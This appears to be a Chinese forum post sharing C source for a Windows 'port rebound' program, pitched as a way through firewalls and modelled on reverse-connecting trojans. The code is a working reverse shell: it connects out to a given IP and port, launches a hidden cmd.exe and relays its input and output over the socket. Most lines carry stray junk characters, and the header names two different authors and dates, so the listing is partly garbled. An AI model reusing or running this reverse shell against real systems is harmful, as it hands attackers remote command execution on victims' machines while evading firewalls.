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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 &Yg/ 08*  
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/* ============================== a3;.{6el)H  
Rebound port in Windows NT V|AE~R^  
By wind,2006/7 1 XG-O  
===============================*/ {UcIt LjY  
#include Ps7%:|K]  
#include =CoT{LRQ_  
L,6Y=?  
#pragma comment(lib,"wsock32.lib") HhL%iy1  
|=LkV"_v  
void OutputShell(); FT~^$)8=  
SOCKET sClient; Ro<kp8  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; aW"!bAdx`,  
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void main(int argc,char **argv) qj&)w9RLJE  
{ />C~a]}  
WSADATA stWsaData; +!v RU`  
int nRet; M2}<gRL*}J  
SOCKADDR_IN stSaiClient,stSaiServer; ^NDX4d;  
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if(argc != 3) O[ !o1.  
{ %U GlAyj  
printf("Useage:\n\rRebound DestIP DestPort\n"); >v[(w1?rX  
return; ^mi4q[PM  
} A-5 +#  
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WSAStartup(MAKEWORD(2,2),&stWsaData); $1+K}tP  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Nd!VR+IZ  
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stSaiClient.sin_family = AF_INET; ^>Y%L(>  
stSaiClient.sin_port = htons(0); &r%*_pX  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 7g)3\C   
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) CeTr%j  
{ _sVs6AJ  
printf("Bind Socket Failed!\n"); $]kg_l)  
return; 86#mmm)  
}  2JP?6N  
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stSaiServer.sin_family = AF_INET; 4MJzx9#  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); (x qA.(F  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Jj:6 c  
\w^QHX1+  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) {ah=i8$  
{ * Xoscc  
printf("Connect Error!"); It4z9Gh  
return; U$)Hhn|X  
} C8EC?fSQ  
OutputShell(); N;'HR)  
} s.`d<(X?  
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void OutputShell() 8[)]3K x  
{ 6#M0AG  
char szBuff[1024]; aMQjoamz  
SECURITY_ATTRIBUTES stSecurityAttributes; A Vm{#^p[(  
OSVERSIONINFO stOsversionInfo; N?;o_^C  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; `mjx4Lb  
STARTUPINFO stStartupInfo; 7[g;|(G0  
char *szShell; jJ!-hg4?]  
PROCESS_INFORMATION stProcessInformation; ).C!  
unsigned long lBytesRead; Wk\@n+Q {]  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); T[-c|  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); q 9S z7_K  
stSecurityAttributes.lpSecurityDescriptor = 0; -Zg @D(pF  
stSecurityAttributes.bInheritHandle = TRUE; Reu{   
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); lt6;*z[  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); UZP6x2:=  
_i[)$EgFm  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 2BDan^:-Av  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DBJA}Cw  
stStartupInfo.wShowWindow = SW_HIDE; lVdT^"~3  
stStartupInfo.hStdInput = hReadPipe; M~Qj'VVL  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; |90 +)/$4  
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GetVersionEx(&stOsversionInfo); mO)PJd2ZD  
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switch(stOsversionInfo.dwPlatformId) K\+}q{  
{ .^lb LN^2  
case 1: ie@`S&.8 T  
szShell = "command.com"; x XM!E 8  
break; ej%;%`C-  
default: ^ Wfgwmh  
szShell = "cmd.exe"; IT`=\K/[4  
break; ^qO=~U!{  
} !UoU#YU  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); C$LRY~ \  
6_<s=nTX  
send(sClient,szMsg,77,0); c~UAr k S  
while(1) $i:||L^8p  
{ ouVjZF@kS  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ; ,=h59`  
if(lBytesRead) F|?'9s*;6G  
{ :e]9T3Q  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); wB>S\~i  
send(sClient,szBuff,lBytesRead,0); <*"pra{3  
} OR\DTLIl  
else pEVgJ/>  
{ #[a"%byTR  
lBytesRead=recv(sClient,szBuff,1024,0); ) wY!/&  
if(lBytesRead<=0) break; g&+Y{*Gp  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); qC1U&b#MVx  
} H5rPq_R  
} tB7K&ssi  
n2d8;B#  
return; N3gNOq&  
}
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